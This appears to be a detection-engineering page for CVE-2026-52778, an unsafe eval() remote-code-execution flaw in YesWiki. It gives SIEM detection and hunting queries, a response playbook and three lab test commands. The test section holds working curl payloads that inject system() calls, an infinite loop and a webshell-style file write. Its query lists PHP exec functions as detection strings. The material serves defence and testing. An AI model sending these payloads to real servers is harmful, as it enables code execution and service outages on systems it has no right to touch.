CVE-2026-52778 Elastic Security · Elastic

Detect YesWiki Formula Calculator Unsafe eval() Remote Code Execution (CVE-2026-52778) in Elastic Security

YesWiki prior to 4.6.6 exposes an unsafe PHP eval() call in its Formula Calculator feature (BazaR calculated field logic). An unauthenticated or low-privileged attacker can craft a malicious formula expression that is passed directly into eval(), resulting in arbitrary PHP code execution on the underlying web server, or a crafted expression that triggers resource exhaustion / infinite loops causing denial of service. Successful exploitation grants the attacker the privileges of the web server process, enabling webshell deployment, credential theft, and lateral movement.

MITRE ATT&CK

Tactic
Initial Access Execution Impact

Elastic Detection Query

Elastic Security (Elastic)
eql
any where event.dataset == "nginx.access" and
  (url.original : "*BF_formula*" or url.original : "*BazaR*" or url.original : "*formulaire*") and
  (url.original : "*eval(*" or url.original : "*system(*" or url.original : "*exec(*" or url.original : "*base64_decode*" or url.original : "*shell_exec*")
critical severity medium confidence

Identifies HTTP requests to YesWiki formula calculator endpoints carrying suspicious PHP function call strings that indicate exploitation of the unsafe eval() vulnerability.

Data Sources

Nginx Access LogsHTTP Proxy Logs

Required Tables

logs-nginx.access-*

False Positives & Tuning

  • Authorized penetration testing traffic
  • Legitimate wiki content containing formula-related keywords
  • Automated content scrapers indexing wiki pages

Other platforms for CVE-2026-52778


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate malicious formula eval() payload submission

    Expected signal: Web server access log entry showing POST to /?BazaR/formulaire with body containing 'eval(system(' string; PHP error log may show eval() execution or error

  2. Test 2Simulate DoS payload via infinite loop formula expression

    Expected signal: Elevated CPU utilization on the web server host, PHP-FPM worker timeout/kill logs, web access log entry for the formula endpoint request

  3. Test 3Simulate webshell drop attempt post-exploitation

    Expected signal: File creation event under the YesWiki webroot captured by FIM/EDR, web access log entry for the formula endpoint, PHP-FPM process spawning shell command


Response Playbook

Triage

  1. Confirm the target YesWiki instance version by checking /?BazaR or the composer.json/CHANGELOG for a version < 4.6.6, and verify the Formula Calculator feature is enabled on affected wiki pages
  2. Review web server access logs for requests to formula/BazaR endpoints containing PHP function call strings (eval, system, exec, base64_decode) to confirm exploitation attempts versus benign scanning
  3. Inspect the web server process list and recently modified files under the YesWiki webroot for unexpected PHP files, webshells, or modified core files indicating successful RCE
  4. Check for anomalous outbound connections or child processes spawned by the PHP-FPM/Apache/Nginx worker handling the YesWiki application

Containment

  1. Immediately apply the vendor patch by upgrading YesWiki to version 4.6.6 or later, or apply the fix from commit dd2bd8fb099de0d21504bda8a810693b3fcb8e52 if upgrade is not immediately possible
  2. Place a WAF rule or reverse proxy block on requests to formula/BazaR endpoints containing eval(), system(, exec(, base64_decode, or shell_exec strings until patching is complete
  3. Isolate the affected web server host from sensitive internal network segments if evidence of successful code execution is found, and rotate any credentials stored in configuration files accessible to the web process
  4. Disable the Formula Calculator / BazaR calculated field feature entirely as a temporary compensating control if patching cannot occur immediately

Evidence Collection

  1. Preserve web server access and error logs covering the suspected exploitation window, including full query strings and POST body payloads sent to formula endpoints
  2. Collect a forensic copy of the YesWiki webroot, including any newly created or recently modified PHP files, and compute file hashes for comparison against the official release
  3. Capture PHP-FPM/Apache/Nginx process execution history and system audit logs (auditd/EDR telemetry) showing any child processes spawned by the web server around the time of the suspicious requests
  4. Export any web application firewall or reverse proxy logs showing blocked or allowed requests matching the malicious formula payload pattern

Escalation Criteria

  • !Escalate to incident response if forensic evidence confirms a webshell or unauthorized PHP file was written to the server, or if outbound connections to attacker-controlled infrastructure are observed
  • !Escalate immediately if the affected YesWiki instance has access to sensitive internal systems, databases, or credentials that could enable lateral movement following successful RCE
  • !Escalate if exploitation attempts are observed at scale (mass scanning) or originate from known malicious infrastructure, indicating active opportunistic campaign targeting this CVE

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server access/error logs showing formula endpoint requests with embedded eval() payloads
  • >Newly created or modified PHP files within the YesWiki webroot, especially outside standard plugin/theme directories
  • >Process execution artifacts (EDR/auditd) showing child processes spawned from the PHP-FPM or Apache/Nginx worker
  • >PHP error logs revealing eval() exceptions or parse errors from malformed exploitation attempts

Tuning Guidance

Baseline normal traffic volume and payload patterns to legitimate BazaR/formula endpoints in the environment before enabling blocking actions, since legitimate wiki editors regularly interact with these features. Exclude known internal vulnerability scanner IP ranges from alerting, and tune the eval()/system()/exec() string match list to reduce false positives from wiki content that legitimately discusses these terms in documentation pages. Prioritize alerts where suspicious payload strings appear directly within the formula/BazaR parameter value rather than elsewhere in the URL.


Hunting Queries

Hunts for IP addresses sending a high volume of distinct formula-related requests to YesWiki endpoints, indicative of automated fuzzing or mass exploitation attempts targeting CVE-2026-52778.

Hunting — KQL
kql
AppServiceHTTPLogs
| where CsUriStem has_any ("BazaR", "formulaire")
| summarize RequestCount=count(), DistinctPayloads=dcount(CsUriQuery) by CIp
| where RequestCount > 20
| order by RequestCount desc
Hunting — SPL
spl
index=web (uri="*BazaR*" OR uri="*formulaire*")
| stats count dc(uri) as distinct_payloads by src_ip
| where count > 20
| sort -count

Atomic Red Team Tests

Test 1 Simulate malicious formula eval() payload submission
linux

Sends a crafted HTTP POST request to a lab YesWiki instance's BazaR formula field containing a PHP eval() injection payload to validate detection of exploitation attempts.

Command

bash
curl -s -X POST 'http://lab-yeswiki.local/?BazaR/formulaire' --data 'formula=eval(system("id"))' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
No persistent changes made; verify no unexpected files were created under the YesWiki webroot with: find /var/www/yeswiki -mmin -5 -type f

Expected Telemetry

Web server access log entry showing POST to /?BazaR/formulaire with body containing 'eval(system(' string; PHP error log may show eval() execution or error

Expected Detection

SIEM alert fires from the KQL/SPL/EQL rules matching formula endpoint with embedded eval/system payload strings

Test 2 Simulate DoS payload via infinite loop formula expression
linux

Submits a crafted formula expression designed to cause resource exhaustion via an unbounded loop inside the unsafe eval() call, testing denial-of-service detection.

Command

bash
curl -s -X POST 'http://lab-yeswiki.local/?BazaR/formulaire' --data 'formula=eval("while(true){}")' -H 'Content-Type: application/x-www-form-urlencoded' --max-time 5

Cleanup

bash
Restart the PHP-FPM worker pool if CPU exhaustion persists: systemctl restart php-fpm

Expected Telemetry

Elevated CPU utilization on the web server host, PHP-FPM worker timeout/kill logs, web access log entry for the formula endpoint request

Expected Detection

Detection rule flags the formula endpoint request containing 'eval(' payload; infrastructure monitoring alerts on abnormal CPU/process runtime

Test 3 Simulate webshell drop attempt post-exploitation
linux

After simulating initial eval() code execution, attempts to write a test file to the webroot to validate detection of file-write artifacts consistent with webshell deployment.

Command

bash
curl -s -X POST 'http://lab-yeswiki.local/?BazaR/formulaire' --data 'formula=eval(system("echo test123 > /var/www/yeswiki/tmp/test_artifact.php"))' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
rm -f /var/www/yeswiki/tmp/test_artifact.php

Expected Telemetry

File creation event under the YesWiki webroot captured by FIM/EDR, web access log entry for the formula endpoint, PHP-FPM process spawning shell command

Expected Detection

File integrity monitoring alert combined with SIEM correlation rule matching formula endpoint eval/system payload confirms successful exploitation chain

Related Detections